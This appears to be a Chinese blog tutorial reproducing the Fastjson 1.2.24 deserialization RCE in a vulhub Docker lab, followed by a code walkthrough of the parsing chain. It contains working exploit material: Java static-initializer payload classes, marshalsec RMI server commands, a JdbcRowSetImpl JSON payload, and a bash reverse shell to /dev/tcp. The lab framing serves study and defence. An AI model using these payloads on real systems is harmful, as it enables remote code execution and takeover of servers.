首页 前端知识 Fastjson反序列化漏洞——fastjson RCE漏洞的源头(1.2.24-rce)

Fastjson反序列化漏洞——fastjson RCE漏洞的源头(1.2.24-rce)

2024-04-29 12:04:37 前端知识 前端哥 572 490 我要收藏

一、漏洞说明

FastJson是alibaba的一款开源JSON解析库,可用于将Java对象转换为其JSON表示形式,也可以用于将JSON字符串转换为等效的Java对象。近几年来fastjson漏洞层出不穷,本文将谈谈近几年来fastjson RCE漏洞的源头:17年fastjson爆出的1.2.24反序列化漏洞。以这个漏洞为基础,详细分析fastjson漏洞的一些细节问题。

二、环境搭建

1、安装docker(含换源)
编辑软件源配置文件

将国内优质源加入其中,并将原有源进行注释,加完后按ESC、冒号、wq保存退出即可

<apt-get update 更新索引

apt-get upgrade 更新软件

apt-get dist-upgrade 升级

apt-get clean 删除缓存包

apt-get autoclean 删除未安装的deb包>
apt-get install docker.io
2、安装docker-compose
apt-get install docker-compose
3、安装vulhub镜像
git clone https://github.com/vulhub/vulhub.git

4、启动fastjson环境(1.2.24-rce)
cd /opt/vulhub-master/fastjson/1.2.24-rce
docker-compose up
即可启动

三、漏洞复现

首先下载工具marshalsec
下载地址
https://github.com/RandomRobbieBF/marshalsec-jar
新建文件名为TouchFile.java
并在其中写入以下内容


import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"ping", "xxx.dnslog.cn"};

Process pc = rt.exec(commands);

pc.waitFor(); } catch (Exception e) {

// do nothing

}

}

}

使用javac命令将TouchFile.java编译为TouchFile.class文件

然后开启http服务
端口随意只要不冲突即可

开启marshalsec
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.0.xxx:xxxx/#TouchFile" 9999


然后打开靶场页面进行抓包

发送到repeater
将get请求修改为post
添加Content-Type: application/json字段
构建payload

payload如下

{

"b":{

"@type":"com.sun.rowset.JdbcRowSetImpl",

"dataSourceName":"rmi://ip:9999/TouchFile",

"autoCommit":true

}

}


发送,然后我们构建的class中的代码会ping dnslog查看dnslog有无数据
命令执行
首先将java文件中的代码修改为如下内容

// javac TouchFile.java

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime rt = Runtime.getRuntime();

String[] commands = {"touch", "/tmp/success"};

Process pc = rt.exec(commands);

pc.waitFor();

} catch (Exception e) {

// do nothing

}

}

}


跟之前的操作一样get改post进行发包

进入docker容器内可查看是否执行成功(是否出现success)
反弹shell
代码大意:
主要目的是在Java应用程序加载时执行一个特定的命令。具体来说,它使用Java的Runtime和
Process类来执行一个bash shell命令,该命令尝试建立一个到指定IP地址和端
口的TCP连接。

import java.lang.Runtime;

import java.lang.Process;

public class TouchFile {

static {

try {

Runtime r = Runtime.getRuntime();

Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >&

/dev/tcp/192.168.xx.xxx/xxx 0>&1"});

p.waitFor();

} catch (Exception e) {

 }

}


同一样的抓包发包
查看监听端口那边的状况

四、工具利用

JNDI-Injection-Exploit
启动方法
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar \[-C] \[远程文路径] \[-A] \[服务器地址]

FastjsonScan

BurpSuite插件 -- FastjsonScan
下载地址
https://github.com/pmiaowu/BurpFastJsonScan
下载完后选择extender添加jar包


五、漏洞分析

利用链流程

参数features是一个可变参数,parseObject方法底层实际上是调用了**parse**方法进行反序列化,并且将反序列化的Object对象转成了JSONObject
   

public static JSONObject parseObject(String text, Feature... features) {
        return (JSONObject) parse(text, features);
    }


parse方法会循环获取可变参数features中的值,然后继续调用parse方法
  

 public static Object parse(String text, Feature... features) {
        int featureValues = DEFAULT_PARSER_FEATURE;
        for (Feature feature : features) {
            featureValues = Feature.config(featureValues, feature, true);
        }
 
        return parse(text, featureValues);
    }


分析parse方法

    public static Object parse(String text, int features) {
        if (text == null) {
            return null;
        }


        

//将json数据放到了一个DefaultJSONParser对象中
        DefaultJSONParser parser = new DefaultJSONParser(text, ParserConfig.getGlobalInstance(), features);
        //然后调用parse方法解析json
        Object value = parser.parse();
 
        parser.handleResovleTask(value);
 
        parser.close();
 
        return value;
    }


parse方法创建了一个JSONObject对象存放解析后的json数据,而parseObject方法作用就是把json数据的内容反序列化并放到JSONObject对象中,JSONObject对象内部实际上是用了一个HashMap来存储json。

    public Object parse(Object fieldName) {
        final JSONLexer lexer = this.lexer;
        switch (lexer.token()) {
            //省略部分代码......
            case LBRACE:
                //创建一个JSONObject对象
                JSONObject object = new JSONObject(lexer.isEnabled(Feature.OrderedField));
                //parseObject方法
                return parseObject(object, fieldName);
            //省略部分代码......
        }
    }

继续跟进parseObject方法

    public final Object parseObject(final Map object, Object fieldName) {
        //省略部分代码......
        
        
        //从json中提取@type
        key = lexer.scanSymbol(symbolTable, '"');
        
        //省略部分代码......
        
        //校验@type
        if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
            //提取type对应的值
            String typeName = lexer.scanSymbol(symbolTable, '"');
            //然后根据typeName进行类加载
            Class<?> clazz = TypeUtils.loadClass(typeName, config.getDefaultClassLoader());
 
            if (clazz == null) {
                object.put(JSON.DEFAULT_TYPE_KEY, typeName);
                continue;
            }
        }
        
        //省略部分代码......
        
        //然后将class对象封装成ObjectDeserializer对象
        ObjectDeserializer deserializer = config.getDeserializer(clazz);
        //然后调用deserialze方法进行反序列化
        return deserializer.deserialze(this, clazz, fieldName);
    }


parseObject方法主要是从json数据中提取@type并进行校验是否开启了autoType功能,接着会调用loadClass方法加载@type指定的TemplatesImpl类,然后将TemplatesImpl类的class对象封装到ObjectDeserializer 中,然后调用deserialze方法进行反序列化。

我们来看一下deserializer的内容,如下图所示:

 TemplatesImpl类的每个成员属性封装到deserializer的fieldInfo中了
 然后调用了deserialze方法,该方法中的参数如下所示:

 deserialze方法内部的代码逻辑实在是太复杂了,内部有大量的校验和if判断,这里只是简单的分析了大概的逻辑,这些已经足够我们理解TemplatesImpl的利用链了,后期深入分析fastjson的防御机制,以及在构造payload如何绕过校验机制时,再深入分析deserialze方法分析fastjson的解析过程做了哪些事情,目前我们先把TemplatesImpl的利用链搞清楚再说

        protected <T> T deserialze(DefaultJSONParser parser, Type type,  Object fieldName,  Object object, int features) {
        
                 //省略部分代码......
            
                 //调用createInstance方法实例化
                if (object == null && fieldValues == null) {
                    object = createInstance(parser, type);
                    if (object == null) {
                        fieldValues = new HashMap<String, Object>(this.fieldDeserializers.length);
                    }
                    childContext = parser.setContext(context, object, fieldName);
                }
            
            //省略部分代码......
            
            //调用parseField方法解析json
            boolean match = parseField(parser, key, object, type, fieldValues);
        }

我们只分析deserialze方法中的部分核心代码,deserialze方法内部主要是调用了createInstance方法返回一个object类型的对象(也就是TemplatesImpl对象),然后调用了parseField方法解析属性字段
parseField方法
   

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType, Map<String, Object> fieldValues) {
 
        //省略部分代码......
 
        FieldDeserializer fieldDeserializer = smartMatch(key);
        //SupportNonPublicField选项
        final int mask = Feature.SupportNonPublicField.mask;
        
        //if判断会校验SupportNonPublicField选项
        if (fieldDeserializer == null
                && (parser.lexer.isEnabled(mask)
                    || (this.beanInfo.parserFeatures & mask) != 0)) {
            //获取TemplatesImpl对象的属性信息
        }
 
        //省略部分代码......
 
        //调用parseField方法解析字段
        fieldDeserializer.parseField(parser, object, objectType, fieldValues);
 
        return true;
    }


parseField方法内部会对参数features中的SupportNonPublicField选项进行校验,这个if判断主要是获取TemplatesImpl对象的所有非final或static的属性,如果fastjson调用parseObject方法时没有设置SupportNonPublicField选项的话,就不会进入这个if判断,那么fastjson在进行反序列化时就不会触发漏洞
校验完SupportNonPublicField选项后,调用parseField方法解析TemplatesImpl对象的属性字段,先来看一下parseField方法的参数

parseField方法主要会做以下事情,调用fieldValueDeserilizer的deserialze方法将json数据中每个属性的值都提取出来放到value 中,然后调用setValue方法将value的值设置给object
   

@Override
    public void parseField(DefaultJSONParser parser, Object object, Type objectType, Map<String, Object> fieldValues) {
        
        //省略部分代码......
        
        //解析json中的数据(将每个属性的值还原)
        value = fieldValueDeserilizer.deserialze(parser, fieldType, fieldInfo.name);
         
         //省略部分代码......
         
         setValue(object, value);
         
   }

可以看到deserialze方法将json数据中的_bytecodes值提取出来进行base64解码存放到value中,接着调用setValue方法将value设置给object(即TemplatesImpl对象的_bytecodes)

继续跟进fieldValueDeserilizer的deserialze方法
   

public <T> T deserialze(DefaultJSONParser parser, Type type, Object fieldName) {
 
        //省略部分代码......
 
        if (lexer.token() == JSONToken.LITERAL_STRING) {
            //调用了bytesValue方法
            byte[] bytes = lexer.bytesValue();
            lexer.nextToken(JSONToken.COMMA);
            return (T) bytes;
        }
        
        //省略部分代码......
        
    }


deserialze方法内部调用了bytesValue方法
bytesValue方法内部调用了确实对json数据中的\_bytecodes值进行了base64解码

触发漏洞的关键就在于当fastjson调用setValue方法将json数据中的outputProperties的值设置给TemplatesImpl对象时会触发漏洞,调用TemplatesImpl类的getOutputProperties方法
继续分析setValue方法是如何触发漏洞的

public void setValue(Object object, Object value){
        //首先校验value是否为null
        if (value == null //
            && fieldInfo.fieldClass.isPrimitive()) {
            return;
        }
 
        try {
            //根据outputProperties属性获取对应的方法
            Method method = fieldInfo.method;
            if (method != null) {
                if (fieldInfo.getOnly) {
                    if (fieldInfo.fieldClass == AtomicInteger.class) {
                        AtomicInteger atomic = (AtomicInteger) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicInteger) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicLong.class) {
                        AtomicLong atomic = (AtomicLong) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicLong) value).get());
                        }
                    } else if (fieldInfo.fieldClass == AtomicBoolean.class) {
                        AtomicBoolean atomic = (AtomicBoolean) method.invoke(object);
                        if (atomic != null) {
                            atomic.set(((AtomicBoolean) value).get());
                        }
                     
                    } else if (Map.class.isAssignableFrom(method.getReturnType())) {
                        //反射调用getOutputProperties方法
                        Map map = (Map) method.invoke(object);
                        if (map != null) {
                            map.putAll((Map) value);
                        }
                    } else {
                        Collection collection = (Collection) method.invoke(object);
                        if (collection != null) {
                            collection.addAll((Collection) value);
                        }
                    }
                } else {
                    method.invoke(object, value);
                }
                return;
            }
    }
    
    //省略部分代码......
    
}

setValue方法对value进行了不为null的校验,然后解析_outputProperties(json中的_outputProperties被封装到了fieldInfo中)
fastjson会将属性的相关信息封装到fieldInfo中,具体信息如下

然后判断method中的getOutputProperties的返回值是否为Map,为什么是通过Map接口的class对象来判断?因为Properties实现了Map接口,因此这个判断满足条件会通过反射调用TemplatesImpl对象的getOutputProperties方法

六、参考文章

https://blog.csdn.net/m0_51683653/article/details/129364136
https://blog.csdn.net/qq_35733751/article/details/119948833
https://ciyfly.github.io/2020/12/16/复现及分析fastjson1-2-24/
https://m.freebuf.com/articles/web/381720.html

转载请注明出处或者链接地址:https://www.qianduange.cn//article/6377.html
标签
评论
发布的文章

HTML5本地存储

2024-05-06 09:05:10

HTML5和CSS3新特性

2024-04-16 17:04:36

大家推荐的文章
会员中心 联系我 留言建议 回顶部
复制成功!